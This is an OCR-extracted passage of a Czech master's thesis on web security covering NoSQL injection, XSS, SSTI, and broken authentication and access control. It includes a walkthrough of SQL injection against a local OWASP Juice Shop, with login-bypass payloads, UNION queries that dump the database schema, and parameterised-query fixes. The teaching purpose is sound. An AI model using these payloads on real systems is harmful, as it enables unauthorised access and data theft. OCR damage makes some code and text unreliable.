parametru ,,author* bychom zvolili jako ,,TEST*, tak by takovato adresa mohla vypadat
naptiklad jako GET /posts?author=TEST a v takovémto ptipad¢ by vyhodnoceni podminky
vypadalo nésledovné [34]:

Posts.find({ $where: "this.hidden == false && this.author == 'TEST'" },

(err, posts) => { ... });
Pokud by tedy tvar pozadavku vypadal takto GET /posts?author="+|[+"=='", tak bychom

ziskali nésledujici tvar dotazu [34]:

Posts.find({ $where: “this.hidden == false && this.author == "'

, (err, posts) => { ... });
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Cimz bude pro viechny zdznamy autorii tato proménna s podminkou vyhodnocena jako
pravda. Na zaklad¢ takovéhoto pozadavku do databaze ziskdme vysledky vSech ¢lanki

od vSech autora.

Jak mtizeme vidét, syntaxe databazovych dotazii se velmi liSi od relacnich databazi

a umoziuje tak nové zpisoby a moznosti utokd, které u béznych databazi nejsou mozné.

4.3 Cross-site scripting

Také znam pod zkratkou XSS je dalSim typem utoku injection, ktery za pomoci vlozeni
Skodlivého kodu, napt. do formulédie ve webové aplikaci, miize poskodit vzhled aplikace,
v horsich pfipadech pak mize dojit k naruseni bezpecnosti a k ziskani citlivych tdaju
ouzivatelich. Tento zplGsob napadeni mulze slouzit mimo jiné 1 k phishingu,
kdy je na ditvéryhodné strdnce zobrazen jiny obsah. K ttoku XSS dojde, pokud Uto¢nik
vyuzije bezpe¢nostni zranitelnost webové aplikace k odeslani skodlivého skriptu na strané
prohlizece jinému koncovému uzivateli. Zranitelnosti, které mohou tento tok zneuzit,
se vyskytuji vSude, kde je moZzné pouzit vstup od uzivatele i jako vystup, ktery je generovan,

aniz by se ovétoval nebo zakddoval. [31], [36]

Pokud je skodlivy skript uspésn¢ vlozen, nasledné je odeslan netusicim uzivatelim.
U uzivatele je nasledné v prohlizeci skript spustén, jelikoz je poslan z divéryhodné stranky
a nemuze tak vyhodnotit, Ze se jedna o Skodlivy kod. Vlozené skripty mohou pfistupovat
ke vSem cookie souborim, tokeniim relaci a dal§im citlivym datim, které prohlizec

uchovava v souvislosti s danou webovou aplikaci. [36]

vvvvvv

XSS, Reflected XSS a DOM Base XSS. Ovsem je dllezité si uvédomit, Ze se nejedna

o striktné oddélené typy ttoku, ale mohou se navzjem prolinat. [36]

Stored XSS vznika, kdyz webova aplikace pfijme data z nedivéryhodného zdroje a dale
pak zahrnuje tyto data v ramci svych pozdéjSich HTTP odpovédich. Tyto Skodliva data nebo
skripty lze umistit naptiklad v komentafi u ptispévku, ve foru zprav, v protokolu navstévnika
a na dalSich mistech, které¢ se zobrazuji i dalSim navstévnikiim. S pfichodem technologie
HTMLS a dalSich technologii uvnitt prohliZeci, které dokazou trvale ulozit Skodlivy skript

v prohlize¢i obéti, miZe zapfiCinit to, Ze se nikdy zavadny obsah neodesle

na server. [36], [37]
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Reflected XSS se povazuje takovy utok, kdy aplikace pfijme data v pozadavku HTTP a tyto
data zahrnuje v okamzité odpovédi. MliZe se projevit jako chybova zprava, vysledek hledani
nebo jind odpovéd’, kterd obsahuje vlozené Skodliva data. Prohlize¢ je nedetekuje jako

Skodlivé a mohou se permanentné ulozit. [36], [37]

U téchto dvou zminénych zptsobt XSS je specificky vzorec chovani, pii kterém aplikace
pfijme data od uto¢nika a zobrazi je ostatnim uzivatelim. Tteti kategorie DOM Base XSS
je od nich odlisna. Uzivatel se dotazuje na URL adresu, kterd je poskytnutd tto¢nikem
a obsahuje vlozeny JavaScript. Odpoveéd’ serveru zadny utocnikiiv skript neobsahuje, ovsem

po zpracovani pozadavku prohlize¢em se skript piesto provede. [36], [37]

K odstranéni zranitelnosti mize dojit jak na strané serveru, tak do jist¢ miry i na stran¢
uzivatele. Na strang serveru je v tomto piipad€ potieba zajistit filtraci nebezpecnych znakd,
které mohou uzivatelé vkladat do vstupi aplikace. K tomu je mozné vyuzit specializované
funkce. Na stran¢ uzivatele je pak doporuceno pouzivat moderni prohlizece, vétSina z nich
ma jiz implementovanou ochranu nékterych XSS tutokt a dokaze alespon ty nejrozsirenéjsi

odfiltrovat. [37], [38]

4.4 Server-Side Template Injection

Dalsim utokem je SSTi, s kterym se mizeme setkat ve webovych aplikacich, které jsou
tvofeny Sablonovacim systémem. Takové webové stranky jsou tvofeny pevnou Sablonou,
které tvoii webové stranky v kombinaci s nestalymi daty. Tyto Sablony jsou na strané
serveru, a pokud nejsou dostatecné zabezpeceny, mohou byt ito¢nikem zneuzity a do této
Sablony vlozen Skodlivy obsah, ktery se poté provede na strané serveru. K takovému ttoku
muze dojit, pokud vkladand data od uZivateld nejsou dostatecné oSetfeny a jsou vkladana
jako fetézec ptimo do Sablony, misto aby byl pfedan jako data. Coz umoZiiuje vkladat a tim
upravovat Sablonu tak, ze ji mize donutit piijmout a spustit Skodlivy obsah. Tento typ Gtoku
se nazyva Server-side Template Injection , zkracené€ pak SSTi a jak jiz ndzev napovida, tento

typ utoku datovou c¢ést Sablony vyhodnocuje na strané serveru, ¢imz se stavd mnohem

wvewr

SSTi mize zneuzit Sablony k riznym utokiim v zavislosti na pouzité Sablon¢ a jak ji dana
aplikace pouziva. V pfipadé nedostate¢ného zabezpeceni, mizou byt dopady ttoku velmi
vazné. V nejhorSich variantdich mize dojit ke vzdalenému spusténi Skodlivého kodu
na stran¢ serveru, ziskat tak plnou kontrolu a nasledné provadét dalSi utoky. Presto,

ze v nékterych ptipadech neni umoznéno vzdalené spoustet skodlivy kod, porad diky tomuto
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Gtoku miizeme ziskat pfistupy k citlivym datim a souborim na serveru. Casto tyto
zranitelnosti vznikaji nedostate¢nymi znalostmi vyvojare a ty vedou ke Spatnému navrhu

Sablony. [39]

Pokud chceme oSetfit zranitelnosti, je potieba zajistit, aby zaddny z uzivateli nemohl
upravovat nebo odesilat nové Sablony, coz je v mnoha ptipadech nemozné. Dalsi z moznosti,
je oddeleni sablonové logiky od prezentace v co nejvétsi mozné mitfe. Také se nabizi
moznost, spoustét kod vlozeny uzivatelem v izolovaném prostiedi, kde by nebezpecné
moduly byly odstranény, ovsem mitize dojit 1 pfesto k obejiti systému. Bohuzel je potieba
si uvédomit, ze v téchto Sablonach je vkladani Skodlivého koédu nevyhnutelné a pouzit
a nasadit prostiedi pro Sablony, které jsou uzavieny v kontejneru, aby nedoslo k napadeni

celého systému. [38], [39]
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S BROKEN AUTHENTICATION

Pod zranitelnosti nazvanou Broken Authentication se skryva fada bezpecnostnich chyb,
které¢ utonikim umoziuji vydavat se za legitimniho uzivatele. NejCastéjSimi slabinami
je sprava relaci a sprava ovéreni. Ob¢ tyto zranitelnosti spadaji do nefunkéniho ovétovani,
diky ¢emuz miize uto¢nik ukrast ID relace nebo pfihlaSovaci udaje. K nalezeni a zneuziti
této zranitelnosti utocnici vyuzivaji fadu strategii, od rozsdhlych utoki s cilem ziskat
jakékoli duvéryhodné ptihlaseni az po sofistikovanéjSi ve snaze ziskat piistup konkrétni

osoby. [31], [40]

Je potieba si uvédomit, ze Gto¢nici mohou vlastnit seznamy vychozich ucti pro spravu
a az miliony platnych kombinaci uzivatelskych jmen a hesel k vypliiovani ptihlaSovacich
udajii. Existuje i mnoho softwart, do kterych je mozné vlozit slovniky a zautomatizovat tak
hrubou silu, naptiklad pii zkouSeni ptihlaSovacich jmen a hesel do webové aplikace. Také
samotné utoky na spravu relaci jsou dobie znamy, stejné tak i tento vztah k nevyprSenym
tokentim relaci. Nefunkéni ovétovani je zplsobeno nedostate€nou implementaci kontrol

identity a ptistupti, kterou obstarava prave sprava relaci. [40], [41]

Nefunkéni ovéfovani je odhalovano ru¢nimi prostfedky, posléze jsou pouzity nastroje
pro zautomatizovani a zefektivnéni utoku. Snahou je ziskat piistup k administratorskému
uctu, diky ¢emuz mohou dale Gto¢nici narusit bezpecnost systému. Pfi GispéSném napadeni
a zneuziti zranitelnosti miZe byt ukradena identita nebo ukradena a zvetejnéna citliva data,

ktera jsou v soucasné dob¢ chranéna 1 zdkonem. [40], [41]

Pro ttoky zneuZivajici nefunkéni ovéfovani je zasadni predev§im ovéteni identity uzivatele
a sprava relace. Jiz pfi navrhu a ndsledném testovani webové aplikace je potieba se zamétit
na zranitelnosti, které se tykaji Broken Authentication. Mezi takové zranitelnosti se fadi
naptiklad skute¢nost, Ze je mozné provadét utoky hrubou silou nebo automatizovang,
ato diky tomu, Ze neni omezen pocet pozadavkl piihlaSeni na server a mohou tak byt
vkladéana ptihlaSovaci jména a hesla neomezen¢ po sobé¢. Dalsi slabinou mohou byt vychozi
hesla nebo moznost nastaveni velmi slabého nebo zndmého hesla jako napft. ,,Heslo123*
nebo ,,admin®. Dalsi zranitelnosti mohou byt zplsobeny zpfistupnénim ID relaci v URL,
neaktualizujici se ID relace po UspéSném piihlaSeni nebo nezneplatiiujici se ID relace,

coz zpusobuje, Ze token relace je aktivni i piesto, ze se uzivatel odhlasi. [41]

Bezpecnostni zranitelnost se také objevuje v pfipadé obnovy zapomenutého hesla, kdy

mohou byt pokladany otazky, na které 1ze snadno dohledat odpoveéd’. [41]
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Jiz pti navrhu webové aplikace miize nastat zdsadni bezpecnostni chyba, a to v pfipade
ukladani hesel uzivatelli do databaze, kdy jsou uklddany bud’ jako prosty text, Sifrovany

fetézec, nebo je pouzit jiz prolomeny slaby hashovaci algoritmus pro vytvoteni digitalniho

otisku hesla. [41]

Mezi moznosti, jak zabranit utokiim, které miii pravé na nefunkéni autentizaci, mize byt
implementace vicefazového ovéfeni, nenastavovani vychoziho hesla (pfedevsim
u administratorského uctu), zajisténi zasad pro dostatecnou délku a slozitost hesla nebo
vynuceni obnoveni hesla na nové po urcité dobé. DalSimi moZnostmi je omezeni
neuspéSnych pokustt o ptihlaSeni a piipadné poslani zpravy administratorovi, pokud

prob&hlo mnoho netspésnych pokusti o ptihlaseni. [41]

Takeé je potteba se ujistit, Ze registrace, obnoveni ptihlaSovacich tidaji a API endpointy jsou
odolné vic¢i tzv. account enumeration attacks, tedy utoklim, jimiz je mozné ziskat vycet
uzivatelskych uctl, tak ze pouziji stejnou zpravu pro vSechny vysledky. Je také vhodné
pouzit vestavénou a zabezpeCenou spravu relaci na stran¢ serveru, ktera pti prihlaseni
generuje nové nahodné ID relace s vysokou mirou entropie. ID relace by nemély byt
prenaSeny v URL, mély by byt bezpecné uloZzeny a mély by byt invalidovany po odhlaSeni,

pfi necinnosti, ¢i pii vyprseni jejich platnosti. [41]
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6 BROKEN ACCESS CONTROL

Jednou ze zadkladnich dovednosti utocnikii je pravé zneuziti kontroly piistupu. Jednim
z davodil, proC tyto bezpecnostni zranitelnosti v fizeni pfistupu jsou, je nedostatecné
testovani vyvojaii aplikace. Pfitom kontrolu fizeni ptistupu je mozné detekovat jak rucné,
tak do jisté miry lze proces zautomatizovat, ovSem v tomto piipad¢ je rucni testovani tim

nejlepSim zptisobem, jak zjistit chybéjici nebo nefunkcni fizeni ptistupu. [31, 42]

Utoénik diky nedostate¢nému oSetieni piistupti miize ziskat a naslednd zneuzit ziskané
opravnéni. To miize mit za nésledek provadeéni funkei jako jiny uzivatel, ¢i dokonce jako
spravce. Takové jednadni mize mit za nasledek negativni dopad na celé podnikani, naptiklad
pokud by doslo k odstranéni vSech kladnych hodnoceni a pfidani negativnich nebo piepsani

vSech komentara u produktt. [42, 43]

Pti tvorbé webovych aplikaci je potfeba dbat na zdsady vynucujici fizeni pfistupti tak,
aby uzivatelé¢ nemohli jednat mimo jejich opravnéni. Mezi bézné chyby se fadi zména
primarniho kli¢e zdznamu uzivatele na hodnotu kli¢e jiného uZzivatele, které vede k ptistupu
a Upravam ciziho Uc¢tu. Dalsi zranitelnosti mize byt navySeni uzivatelského opravnéni,
pricemz i bez prihlaseni maze vykonavat funkce jako by byl prihlaseny nebo bézny uzivatel
ziska opravnéni administratora. Dal$i chybou mize byt obejiti kontroly pomoci upravy URL
adresy, HTML stranky nebo pouZzitim nastroje pro ttok na API endpointy. Také miize dojit

k manipulaci s metadaty, kterda mohou vést k zvySeni opravnéni. [42, 43]

Mezi metody, jak tuto bezpecnostni zranitelnost oSetfit je zajistit fizeni ptistupu k modelu,
tak aby uzivatel nemél opravnéni k vytvareni, ¢teni, aktualizovani neb mazani jakéhokoli
zaznamu, ale pouze téch svych. Je potfeba také implementovat mechanismy fizeni pfistupu
a posléze je pouzivat v celé aplikaci. UZivatelé by také nemé&li mit piistup ke kofenovym
adresaiim webového serveru a zajistit, aby se zde nenachazely metadata soubori nebo
zéalozni soubory. Je dobr¢ také zaznamenavat chyby pfistupu a upozoriiovat administratory,
pfi opakovaném selhani. Dals$i moZnosti je nastavit urcity pocet pozadavkl, které miiZzeme
na API endpoint poslat za néjaky casovy usek a tim snizit Skody zplsobené
automatizovanymi Utoky. Dulezité je také zneplatnéni autorizacnich tokenil na serveru

po odhlaseni uzivatele. [42, 43]
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II. PRAKTICKA CAST
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7 NAVOD INSTALACE OWASP JUICE SHOP

Nabizi se fada moznosti jak zprovoznit aplikaci Juice Shop, proto je v ramci prace vytvoren
manual na n¢kolik z nich. Aplikaci Juice Shop je mozné spustit na cloudovém serveru nebo
si ji nainstalovat pfimo na naSem zafizeni. Kazda z moznosti ma své vyhody i nevyhody.
Ovsem v naSem piipad¢ je nejvhodnéjSim feSenim vyuzit instalaci aplikace na naSem
zafizeni ze zdrojovych soubort stazenych z Gitu, jelikoZ tyto zdrojové soubory budeme

potiebovat pii oSetifovani nalezenych zranitelnosti.

Pokud bychom chtéli fesit pouze nalezeni zranitelnosti, staci nainstalovat jiz zkompilovanou
aplikaci, kterou stdhneme v zip pfipadné tgz souboru a pouze jej spustime pomoci

piikazového fadku.

Dal$i moZnosti se nabizi zprovoznit aplikaci na cloudovém serveru, diky c¢emuz bude
aplikace pristupna vzdalené z jakéhokoli zatizeni. OvSem nevyhodou tohoto feseni je taktéz
nemoznost pristupovat ke zdrojovym dekompilovanym soubortim, a navic v pfipad¢ Juice

Shopu jsou na tomto prostiedi jiz oSetfeny n€které zranitelnosti, napf. DOS utoky.

Ve vytvofeném manudlu nalezneme tedy instalaci aplikace na naSem zatizeni ze zdrojovych
souboru stazenych z Gitu. PfiCemz je popsdna instalace a spusSténi aplikace s vyuzitim
prikazového fadku Powershell na Windows, ovSem stejnym zptisobem muze byt provedena
instalace aplikace na Linuxu 1 MacOS, pouze je nutné vyuzit ptikazovy fadek daného
zatizeni. Déle je popsana instalace z komprimovaného souboru, kdy je popsano, jaky soubor
je potieba stahnout pro dany operacni systém a jak aplikaci nasledné pomoci ptikazového
fadku spustit. Posledni popsanou moznosti je zprovoznéni Juice Shopu na Heroku coz

je volné dostupny cloudovy server.

V ramci navodu je popsana i instalace Node.js, coz je prostfedi umoziujici spoustét
JavaScriptovy kod mimo webovy prohlize¢ a je nutné jej mit nainstalovany v ptipadé
spusténi aplikace Juice Shop na naSem zafizeni.

NiZe je popsédna instalace a spusténi aplikace, ktera byla vyuzita pfi hledani a feSeni

bezpec¢nostnich zranitelnosti v rdmci diplomové prace.

7.1 Navod instalace OWASP Juice Shop pro Windows z Gitu

Pted samotnou instalaci OWASP Juice Shopu je potieba mit nainstalovany Node.js, cozZ je

prostfedi umoziujici spoustét JavaScriptovy kéd mimo webovy prohlizec.
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Presuneme se tedy na stranku node.js, kde si stihneme instala¢ni soubor. Node.js nabizi
instalacni soubory pro nékolik operacnich systémi. My si vybereme 64-bitovu verzi

instalacniho souboru pro Windows a stahneme si jej.

Spusténim stazeného souboru zahdjime instalaci. Je nutné odsouhlasit licencni podminky,
mit dostatek mista na disku a vybrat cestu, kde bude Node.js nainstalovan, posléze probehne

samotnd instalace (viz. Obr. 6).

ﬁ MNode.js Setup — bt

Installing Node.js n ‘ d c

Please wait while the Setup Wizard installs Node.js.

Status: Validating install

Obr. 6. Instalace Node.js
Po uspésné instalaci Node.js se miizeme pustit do samotné instalace Juice Shopu. Spustime
Powershell v misté, do kterého chceme stahnout soubor se zdrojovymi koédy, coz nasledné
provedeme pomoci piikazu ,,git clone https://github.com/bkimminich/juice-shop.git* (viz.
Obr. 7), ¢imz se ndm ve vybraném misté vytvoii sloZzka juice-shop se vSemi zdrojovymi

kody aplikace.

B¥ Windows PowerShell - O

PS C:\> git clone https://github.com/bkimminich/juice-shop.git

Obr. 7. Piikaz pro staZzeni souborii z Gitu
Poté, co se vSechny soubory stdhnou, tak pomoci ptikazu ,,cd* vstoupime do vytvorené

slozky. Cely ptikaz tedy bude ,,cd juice-shop* (viz. Obr. 8).
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P Windows PowerS... — O

PS C:\> cd juice-shop

Obr. 8. Vstup do slozky
Nyni spustime ptikaz ,,npm install (viz. Obr. 9), ktery provede zkompilovani zdrojovych
soubort do spustitelné aplikace. Tento ptikaz je potieba provést pied prvnim spuSténim

aplikace a také pti zmén¢ zdrojovych kodi.

& Windows PowerShell

PS C:\juice-shop> npm install

Obr. 9. Ptikaz pro zkompilovani zdrojovych souborii
Poté co se instalace dokonc¢i, tak mizeme pomoci ptikazu ,,npm start™ aplikaci spustit (viz.

Obr. 10).

B2 npm

PS C:\Users\ I\ j i ce-shop> npm start

-

: A1l dependencies 1in ./package.json are satisfied (1)
: Chatbot training data botDefaultTrainingData.json validated (01)
: Detected Node.js version v14.16.1 (01)
: Detected 0S win32 (
: Detected CPU x64 (01)
: Configuration default validated (01)
: Required file index.html 1is present (°1)
: Required file styles.css is present (1)
! Required file tutorial-es2018.js is present (01)
: Required polyfills-es2018.js is present (01)
: Required runtime-es2018.js is present (1)
: Required fi main-es2018.js is present (
: Required fi vendor-es2018.js is present (1)
: Required fi polyfills-es5.js is present (1)
: Required fi main-es5.js is present (1)
: Required fi tutorial-es5.js is present (1)
: Required fi vendor-es5.js is present (1)
: Required file runtime-es5.js is present (01)
: Port 3000 1is available (01)
3000

Obr. 10. Ptikaz pro spusténi aplikace
Miuzeme vidét, Ze aplikace pii startu vypiSe do konzole n¢kolik fadkli informaci, z nichZ pro
nas nejzajimavéjsi je posledni fadek, ktery nas informuje o spusténi aplikacniho serveru na

portu 3000, na kterém muizeme nalézt spusténou aplikaci Juice Shop.

Nyni staci v jakémkoli prohliZeci otevfit adresu http://localhost:3000 a zobrazi se ndm nase

aplikace (viz. Obr. 11).
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@ localhost

. OWASP Juice Shop Q @ acomt W vowBasket @ EN

All Products

Apple Juice Banana Juice
(1000mI) Apple Pomace (1000mi)
1.99a DA 1905

Carrot Juice Eggfruit Juice
7

f4nnn—ay

Obr. 11. Spusténi aplikace v prohlize¢i Google Chrome
Timto je instalace a spusSténi dokonceno. Nyni lze na Juice Shop pfistupovat na adrese
localhost:3000, avSak pouze dokud méme zapnuty powershell. V pfipad¢ Ze powershell

uzavieme, tak rovnéz zastavime aplikaci a ta jiz nebude na vySe zminéné adrese dostupna.
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8 MOZNOSTI TESTOVANI VYBRANYCH ZRANITELNOSTI A
JEJICH RESENI

V této Casti diplomové prace jsou vybrané okruhy bezpecnostni zranitelnosti demonstrovany
v aplikaci Juice Shop. Pod jednou kategorii zranitelnosti se skryva fada moznosti, jak a kde

ve weboveé aplikaci tyto bezpecnostni zranitelnosti mizeme nalézt a nasledné je zneuzit.

OWASP Juice Shop obsahuje fadu nejbéznéjSich bezpecnostnich zranitelnosti, které
se mohou objevit v modernich webovych aplikacich, z nichz byly vybrany ctyii kategorie
bezpecnostnich zranitelnosti a to Injection, Broken Authentication, Cross-site scripting
a Broken access Control, které jsou v aplikaci postupné vyhledany, otestovany a nasledné
opraveny. U kazdé¢ kategorie zranitelnosti je nalezeno a podrobné popsano nékolik mist
v aplikaci, kde se dand chyba nachazi. VétSina uloh vyzaduje specifické feSeni, prestoze

spadaji do stejné kategorie zranitelnosti.

8.1 Injection

Tato kategorie zranitelnosti je velmi rozsifena, nabizi mnoho odliSnych typa utokut, které
mohou byt do jist¢ miry zautomatizované diky vyvinutym softwarlim, pro tyto ucely,
ale jsou taky velmi lakavé, jelikoz diky zneuzité zranitelnosti mize byt ziskdno mnoho
cennych dat z databazového serveru. V této kategorii budou demonstrovany zranitelnosti

SQLi, NoSQL Injection, Server-Side Template Injection a Cross-site scripting.

8.1.1 SQL Injection — stranka prihlaSeni

Pro Gtok SQLi je vhodnym mistem pro napadeni stranka pro piihlaSeni. Pomérné snadno
muzeme zjistit, zda pole pro vlozeni emailové adresy je mozné zneuzit pomoci SQL
Injection. Pro podrobnou analyzu jednotlivych pozadavkii budeme vyuzivat ndstroje
DevTools piimo v prohlize¢i Google Chrome. Na obrazku nize (Obr. 12) se nachazi

ptihlaSovaci formulaf v Juice Shopu.

Login

Email

Obr. 12. vloZeni jednoduché uvozovky
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Jednoduché uvozovky v SQL slouZzi k otvirdni a uzavirani textovych fetézcl, spusténi

takového query zptisobi chybu v databazi a v pripad¢ Spatného oSetfeni chyb na serveru

v odpovédi mizeme nalézt citliva data, v naSem ptipad¢ podobu SQL dotazu (Obr. 13).

Obr. 13. HTTP odpovéd’ obsahujici databdzovy dotaz
Nyni, kdyz vime, jak dotaz vypadad, je potieba ho upravit tak, aby byl vykonéan korektné.
Muzeme vyuzit pomlcky k vlozeni komentéie a tim se zbytek dotazu nevykona, jelikoz
se zakomentuje. V takovém piipad¢ by dotaz probehl v poradku, ale v databédzi nenasel

prazdny email.

V ptipadé, Ze pted pomlcky vloZime jeste ,,or true* nebo ,,or 1=1%, tak upravime databazovy
dotaz tak, ze vrati prvni vysledek z databaze, coz typicky byva tcet s nejvyssim opravnénim,
jelikoz byl do databaze vlozen jako prvni.

SQL dotaz bude vypadat nasledovné:

SELECT * FROM Users WHERE email = '' or - AND password =
'6a284155906c26cbca20c53376bcb63ac’ AND deletedAt IS NULL

Password

Obr. 14. Ptihlaseni
Na obrazku Obr. 14 mzeme vidét piihlaSovaci formulaf s vloZenym kusem kodu. Heslo jiz
nemusi byt validni, jelikoz po vloZeni emailu je jiz zbytek dotazu zakomentovan. Takovym
zpusobem se korektné piihlasime pod prvnim uzivatelem v databazi. Podobné se miizeme
ptihlasit 1 pod jakymkoli uZivatelem, bez hesla, budeme-li znat pouze jeho ptihlaSovaci

emailovou adresu. Staci pro ptihlaseni vlozit napt.: bender@juice-sh.op' --

V ptipadé opravy této zranitelnosti je potieba oSettit databdzovy dotaz tak, aby z n¢j byly

odstranény vSechny potenciondlné¢ zranitelné znaky, predtim, nez je odeslan do databéze.


mailto:bender@juice-sh.op
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Pro oSeteni je potieba nalézt soubor, ktery provadi databazovy dotaz pro nalezeni uzivatele

pro pifihlaSeni. Ten se v piipade Juice Shopu nachéazi v souboru login.js.

Konkrétné¢ budeme v databazovém dotazu upravovat vstupni pole emailu a hesla. Nize

je ukazka ¢asti kodu, kterou budeme muset osSetfit:

models.sequelize.query( SELECT * FROM Users WHERE email = req.body.email

|| ''}" AND password = '${insecurity.hash(req.body.password || '')}' AND de
letedAt IS NULL , { model: models.User, plain: 1)

V kédu vyse muzeme vidét, ze ziskana data jsou vkladany piimo do textového fetézce
dotazu, ¢imz nejsou nijak oSetfeny, a pokud ze tedy proménna s emailem obsahuje
jednoduchou uvozovku, tak dojde k pred¢asnému uzavieni pole pro email a zbytek textu
je ptimou soucasti SQL dotazu, kdy je mozné zbytek tohoto dotazu pomoci dvou pomlcek
oznacit jako komentaf, ktery nebude zpracovan. V tomto piipadé¢ bude potieba nalézt
zpusob, jak takové vstupni udaje vlozit do dotazu, tak aby byly oSetfeny pouzitym

databazovym néstrojem.

Nize mizeme vidét oSetfeny kod s vyuzitim parametru replacements, ktery proménnou

pted vloZenim do dotazu oSetii proti SQL injection a posléze dotaz vykona.
{ QueryTypes } = require('sequelize')

models.sequelize.query( SELECT * FROM Users WHERE email = :mail AND passwo
:password AND deletedAt IS NULL ,

model: models.User,

plain: ,
replacements: {
mail: req.body.email || "',
password: insecurity.hash(req.body.password || '")

}s
type: QueryTypes.SELECT

})

Posléze jiz nebude mozné vyuzit SQL Injection pro piihlaseni.

8.1.2 SQL Injection — vstup z http

Dal§im mistem, kde se nabizi napadnout stranku za pomoci SQL Injection se nabizi
APl endpoint. V aplikaci Juice Shop se vhodnym mistem zda byt adresa
http://localhost:3000/rest/products/search?q=, kterou nalezneme pfti vyhledavani produkti

na strance v sit'ové zalozce.
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Po prezkoumani mizeme zjistit, ze tento pozadavek odchazi vzdy ve stejném tvaru a jeho
odpovéd’ obsahuje vzdy vSechny aktudlni produkty. My ze zadani vime, Ze by bylo mozné
podvrhnout adresu tak, abychom ziskali vSechny produkty, bez ohledu na to, zda jiz jsou
nebo nejsou aktivni a na strdnce nejdou vidét. Nabizi se tak SQL injection k ziskdni

informaci o vSech produktech.

Pokusime se pouzit stejny zpiisob jako jiz v ptedchozich ptipadech, kdy jsme testovali
na SQL zranitelnost login pole a vytvofime pozadavek na nasledujici adresu:

http://localhost:3000/rest/products/search?q="--

OWASP Juice Shop (Express *4.17.1)

500 SequelizeDatabaseError: SQLITE_ERROR: incomplete input

at Que Jser

Pjuice-shop\noc qL

juice-shop\node_mo:

Obr. 15. Stranka s chybovou hlaSkou
V ptipad¢é takovéhoto vysledku, jak mizeme vidét vySe na obratku (Obr. 15), Ze je tato
adresa zranitelna pomoci SQL injection. Na zakladé¢ SQLite ERROR: incomplete input
muzeme zjistit, Ze jednim zmoznych feSeni muze byt nasledujici adresa:
http://localhost:3000/rest/products/search?q="))--
Vlozenim adresy do vyhledavace ziskdme veSkeré produkty, které jsou uloZené v databazi,
1 ptesto, ze jiz nejsou v prodeji (Obr. 16).

16 11:38:52.612 +8@:00","deletedAt":null},{"id":1@, "name":"Christmas Super-Surprise-Box (2014 Edition)","description”:"Contains a
random selection of 1@ bottles (each 5@@ml) of our tastiest juices and an extra fan shirt for an unbeatable price! (Seasonal special
offer! Limited availability!)","price":29.99,"deluxePrice":29.99,"image": "undefined.jpg", "createdAt":"2021-02-16 11:38:52.612
+00:008", "updatedAt":"2021-02-16 11:38:52.612 +00:00","deletedAt":"2014-12-27 00:00:00.000 +80:00"},{"id":11,"name": "Rippertuer

Obr. 16. Uryvek ze ziskanych dat
Nyni, kdyz zname jména vSech produktti, mizeme s mini ddle pracovat a zneuzit. V tomto
piipadé, ziskdme ID produktu, ktery jiZ neni v prodeji. Tuto informaci miiZzeme zneuZit tak,
ze mizeme podvrhnout poZadavek na vloZeni produktu do nakupniho koSiku a zkusit tak

do n¢j vlozit a nasledné objednat neaktivni zboZzi.

Adresa http://localhost:3000/rest/products/search?q= se zda byt vhodnym mistem 1 pro dalsi

SQL utoky k ziskani odlisnych, a i znacné citlivéjSich dat z databaze.

Prostfednictvim SQLi utoku miiZze dojit i k nalézeni databazového schématu, a to za pomoci
vytvofeni SQL UNION dotazu. Na zékladné€ znalosti SQLite 3 1ze zjistit, Ze tyto informace
o schématu naleznete v tabulce sqlite_master. Zkusime tedy takovyto UNION dotaz vytvorit

nasledné.
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http://localhost:3000/rest/products/search?q=")) UNION SELECT * from sqlite master--

Dostaneme vsak nasledujici chybovou hlasku.

OWASP Juice Shop (Express *4.17.1)

500 SequelizeDatabaseError: SQLITE_ERROR: SELECTSs to the left and right of UNION do not have the same number of result columns

Obr. 17. Stranka s chybovou hlaskou
Z této chyby (Obr. 17) mizeme vydedukovat, zZe problémem je v poctu sloupct vracenych
v dvou c¢astech dotazu spojenych pomoci UNION. Nyni se tedy nabizi moznost upravit
injectovanou ¢ast dotazu tak, aby pocet sloupcti odpovidal poctu sloupcti v dotazu aplikace.
Hvézdicku v selectu tedy nahradime konstantni hodnotou napftiklad ¢islem 0, ¢i jistym
fetézcem. Samotna hodnota, kterou vklddame, pro nas neni nijak relevantni, jelikoz
potfebujeme pouze najit spravny pocet sloupcl. Zacneme tedy dotazem s jednou touto

hodnotou.

http://localhost:3000/rest/products/search?q=")) UNION SELECT © FROM sqlite

master--

Jelikoz mizeme vidét, ze odpovéd obsahuje stile stejnou chybovou hlasku, mazeme
usoudit, Ze hledame jiny pocet sloupcti, postupujeme tedy iterativné a pridime dalsi hodnotu.

Az pti pokusu s nésledujicim dotazem miZeme vidét, Ze se néco zménilo.

http://localhost:3000/rest/products/search?g=")) UNION SELECT @, @, 0, 0, O,

0, 0, O, @ FROM sqlite master--

Nyni miizeme vidét, Zze v odpovédi na dotaz obdrzime data o produktech a zaroven ,,prazdna*
data z nami injektované ¢asti UNION dotazu. Abychom se zbavili produktovych dat,
tak mizeme upravit obsah parametru q tak, aby nevracel Zadna data, vznikne tak nésledujici

dotaz.

http://localhost:3000/rest/products/search?q=NON_EXISTING')) UNION SELECT o,

0, 0, 0, 0, 0, 0, O, O FROM sqlite master --
Nyni uz zbyva nahradit jednu z konstantnich hodnot jménem sloupce tabulky sqlite master,

ktery obsahuje meta data o tabulkach. Jedna se o sloupec jménem sql, vznikne tak néasledujici

dotaz.

http://localhost:3000/rest/products/search?g=NON_EXISTING')) UNION SELECT o,

0, 0, 9, @, @0, @, O, sql FROM sqlite master--



UTB ve Zliné, Fakulta aplikované informatiky 41

GET 4 http://localhost:3000/rest/products/search?q=NON_EXISTING')) UNION SELECT 0, 0, 0, 0, 0, 0, 0, 0, sql FROM sglite_master-- Send ~
Params @ Authorization Headers (6) Body Pre-request Script Tests Settings Cookies
Body Cookies Headers (12) Test Results @ status: 200 0K Time: 41ms Size: 815KB  Save Response
Pretty Raw Preview Visualize JSON v ) mQ
zZu geluxerrice : u,
21 “image": ®,
22 "createdAt": @,
23 "updatedAt": @,
24 "deletedAt": "CREATE TABLE 'Addrssses’ (' id' INTEGER PRIMARY KEY AUTOINCREMENT, 'fullName' VARCHAR(255), ‘mobileNum' INTEGER,
‘zipCode' VARCHAR(255), 'streetAddress’ VARCHAR(255), 'city’ VARCHAR(255), 'state’ VARCHAR(25E country' VARCHAR(255),

‘createdAt’ DATETIME NOT NULL, ‘updatedAt’ DATETIME NOT NULL, 'UsexId' INTEGER REFERENCES 'Users' ('id') ON DELETE SET NULL
ON UPDATE CASCADE)"

25 i

26 3

27

28

29

30 D

